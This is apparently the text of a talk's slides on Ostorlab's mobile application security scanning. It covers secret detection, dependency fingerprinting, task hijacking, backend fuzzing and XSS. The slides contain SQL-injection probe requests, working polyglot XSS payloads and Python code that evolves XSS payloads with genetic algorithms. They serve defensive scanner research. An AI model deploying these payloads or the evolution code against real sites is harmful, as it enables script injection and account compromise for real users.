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Ostorlab is a Mobile Application 
Security & Privacy 
Scanner



https://docs.google.com/file/d/1wig9ymw51N9d7LbXfuWvx6waB85V791e/preview


Play Store Security 
Campaign

Source https://developer.android.com/google/play/asi

https://developer.android.com/google/play/asi


Most Apps have a 
limited Attack 
Surface



Android and iOS do 
a GOOD job limiting 
the OS attack 
surface compared 
to desktop OS



Secrets



Uber Secret Leak

Ransom, Class Suit, fine, and IPO 
delayed



AWS Secrets



AWS Secrets



def func(p1, p2):
   z1 = p1
   z2 = p2
   z3 = source()
   z4 = sink(p1)
   return z1, z2, z3, z4

Parameter (p1)

Parameter (p2)

sink()

source()

result(func)

Taint Graph



def func(p1, p2):
   z1 = p1.a
   z2 = p2.b
   z3.x = source()
   z4 = sink(p1.c)
   return z1, z2, z3, z4

p1.c

sink()

source()

result

Taint Graph

p1.a

p2.b
result.x



def func(p1, p2):
   z1 = p1.a
   z2 = p2.b
   z3.x = source()
   z4 = sink(p1.c)
   return z1, z2, z3, z4

def main():
   user_input = input()
   func(1, user_input)

p1.c

sink()

source()

result

Taint Graph

p1.a

p2.b
result.x

input()



def func(p1, p2):
   z1 = p1.a
   z2 = p2.b
   z3.x = source()
   z4 = sink(p1.c)
   return z1, z2, z3, z4

def main():
   user_input = input()
   func(1, user_input)

p1.c

sink()

source()

result

Taint Graph

p1.a

p2.b
result.x

input()



Secret Validation



Secret Pinning



Secrets
● Detection

○ RegExp
○ Taint Analysis

● Validation by Interaction



Outdated 3rd Party 
Dependencies



Instagram RCE

Memory Corruption















It only gets worse from here ...





























Outdated 3rd Party Dependencies
● Fingerprinting

○ Transitive dependencies
○ Statically linked libraries

● Curated database of known vulnerabilities



Task Hijacking



Banking Trojans 
Exploiting Task 
Hijacking

Task Hijacking in the Wild



Example of Slack 
TaskAffinity
Hijacking

https://docs.google.com/file/d/10MWBx15ScCv3fWCUwJ2YYa8J4cF42TBN/preview








Task Hijacking
● Requires Active Protection Measures
● Comes in different flavors

○ taskAffinity
○ Intent Flags
○ ...



Backend Fuzzing





GET /docs/123/apps?q=text HTTP/1.1
Host: www.nowhere123.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; 
MSIE 6.0; Windows NT 5.1)
X-API-KEY: 123123123123123

(blank line)

HTTP/1.1 200 OK
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 
07:16:26 GMT
ETag: "10000000565a5-2c-3e94b66c2e680"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
  

<html><body><h1>It 

works!</h1></body></html>



Pages * Endpoints * Vulnz * Payloads



GET /docs/index.html HTTP/1.1
Host: www.nowhere123.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; 
MSIE 6.0; Windows NT 5.1)

(blank line)

HTTP/1.1 200 OK
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 
07:16:26 GMT
ETag: "10000000565a5-2c-3e94b66c2e680"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
  

<html><body><h1>It 

works!</h1></body></html>



GET /docs/index.html?q=1 HTTP/1.1
Host: www.nowhere123.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; 
MSIE 6.0; Windows NT 5.1)

(blank line)

HTTP/1.1 200 OK
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 
07:16:26 GMT
ETag: "10000000565a5-2c-3e94b66c2e680"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
  

<html><body><h1>It 

works!</h1></body></html>



GET /docs/index.html?q=1’ HTTP/1.1
Host: www.nowhere123.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; 
MSIE 6.0; Windows NT 5.1)

(blank line)

HTTP/1.1 500 Internal Server Error
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 
07:16:26 GMT
Content-Length: 0
Connection: close



id=1

id=1’



GET /docs/index.html?q=1’’ HTTP/1.1
Host: www.nowhere123.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; 
MSIE 6.0; Windows NT 5.1)

(blank line)

HTTP/1.1 200 OK
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 
07:16:26 GMT
ETag: "10000000565a5-2c-3e94b66c2e680"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
  

<html><body><h1>It 

works!</h1></body></html>



GET /docs/index.html?q=1/0 HTTP/1.1
Host: www.nowhere123.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; 
MSIE 6.0; Windows NT 5.1)

(blank line)

HTTP/1.1 500 Internal Server Error
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 
07:16:26 GMT
Content-Length: 0
Connection: close



id=1 id=1+1

id=1’ id=(1+0)/0id=1/0
id=(1-1)/0



https://docs.google.com/file/d/15rC9OG6l2o13upfzRpDqtw7nZPkOiqvJ/preview




Backend Fuzzing
● Rule based scanning don’t scale

○ Technically
○ Operationaly 

● Tree Based Analysis
○ Automatic Rule Generation
○ Scales better



XSS



A polyglot payload
<html>

<head>HERE</head>
<body>

<div id=”HERE”>
<a href=”HERE”>

</div>
</body>
<script>

var a = document.location;
eval(a.hash);

</script>
</html>



Mobile Contexts
<IonContent> {/*-- Default Label --*/} <IonLabel>Label</IonLabel><br /> {/*-- Label Colors --*/} <IonLabel 
color="primary">Primary Label</IonLabel><br /> <IonLabel color="secondary">Secondary Label</IonLabel><br /> 
<IonLabel color="danger">Danger Label</IonLabel><br /> <IonLabel color="light">Light Label</IonLabel><br /> <IonLabel 
color="dark">Dark Label</IonLabel><br /> {/*-- Item Labels --*/} <IonItem> <IonLabel>Default Item</IonLabel> </IonItem> 
<IonItem> <IonLabel className="ion-text-wrap"> Multi-line text that should wrap when it is too long to fit on one line in the 
item. </IonLabel> </IonItem>





Genetic Algorithms



"<svg/onload={callback}//>"
"\" onclick={callback} a=\""
"' onclick={callback} a='"
"a onclick={callback} "
...

TOKENS = (
   ';',
   ',',
   '/',
   '/*',
   '"',
   '\'',
   '//',
   '*/',
   '/**/',
   'javascript:',
 ...



start here!

simplistic 
payloads

high 
performing 
payloads



start here!

simplistic 
payloads

high 
performing 
payloads

"<svg/onload={callback}//>"
"\" onclick={callback} a=\""
"' onclick={callback} a='"
"a onclick={callback} "
...

'''javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" 
onmouseover=/*&lt;svg/*/onload={callback}//>'''
...



Test 
payloads on 
test bed

start here!

simplistic 
payloads

high 
performing 
payloads



Test 
payloads on 
test bed

start here!

simplistic 
payloads

high 
performing 
payloads



trial ..
guess ..
repeat!

start here!

simplistic 
payloads

high 
performing 
payloads

Test 
payloads on 
test bed

highest coverage

highest coverage
+
shortest

highest 
coverage
+
shortest
+ 
most efficient 
(length)
+
weighted by 
context 
importance



trial ..
guess ..
repeat!

start here!

simplistic 
payloads

high 
performing 
payloads

- 42 contexts
- over 2k hour of computation
- 3.6 million payload tested 
- over 500Gb of logs (disk full, lost most 
logs)

Test 
payloads on 
test bed

highest coverage

highest coverage
+
shortest

highest coverage
+
shortest
+ 
most efficient (length)
+
weighted by context 
importance

trial ..
pray ..
repeat!- concatenation

- token augmentation
- token pruning
- half payload crossover
- ...



The experimentation trial ..
guess ..
repeat!

start here!

simplistic 
payloads

high 
performing 
payloads

- 42 contexts
- over 2k hour of computation
- 3.6 million payload tested 
- over 500Gb of logs (disk full, lost most 
logs)

Test 
payloads on 
test bed

highest coverage

highest coverage
+
shortest

highest coverage
+
shortest
+ 
most efficient (length)
+
weighted by context 
importance

trial ..
pray ..
repeat!- concatenation

- token augmentation
- token pruning
- half payload crossover
- ...

TOKENS = (
   ';',
   ',',
   '/',
   '/*',
   '"',
   '\'',
   '//',
   '*/',
   '/**/',
   'javascript:',
   '-',
   '`',
   ' ',
   '(',
   ')',
   '</',
   '\n',
   '%0D%0A',
   'a',
   'style',
   'button',
   'title',
   'template',
   'input',
   'title',
   'textarea',
   'script',
   'iframe',
   'Frameset',
...

   def _mutate_with_evolution(self):
       for individual in self._population:
           for _ in range(self._repeated_extra_tokens):
               extra_tokens = random.choices(TOKENS, k=self._extra_tokens)
               self._new_population.add(individual + ''.join(extra_tokens))
               extra_tokens = random.choices(TOKENS, k=self._extra_tokens)
               self._new_population.add(''.join(extra_tokens) + individual)

   def _mutate_with_flips(self):
       for individual in self._population:
           seperations = re.split('{callback}', individual)
           seperation = random.choice(seperations)
           if seperation:
               self._new_population.add(individual.replace(seperation, random.choice(TOKENS), 1))

   def _mutate_with_corssover(self):
       for individual in self._population:
           for another_individual in random.choices(self._population, k=self._cross_over_limit):
               self._new_population.add(another_individual + individual)
...



Sample Payload
javascript:{callback}//*/

javascript:javascript:

"/*'/*`/*-->

</noscript></title></textarea></style></template></noembed></script>

<html " onmouseover=/*&lt;svg/*/

onload={callback}onload={callback}

//>

<svg onload={callback}><svg onload={callback}>

*/</style><script>{callback}</script><style>



XSS
● Polyglot Payloads to scale
● Explosion in Mobile Contexts
● Genetic Algorithms to generate better performing 

payloads



Configuration Analysis

Backend Analysis

Taint Analysis

3rd Party Fingerprint 
and Vulnerability 

Detection

Dynamic Analysis



Q&A


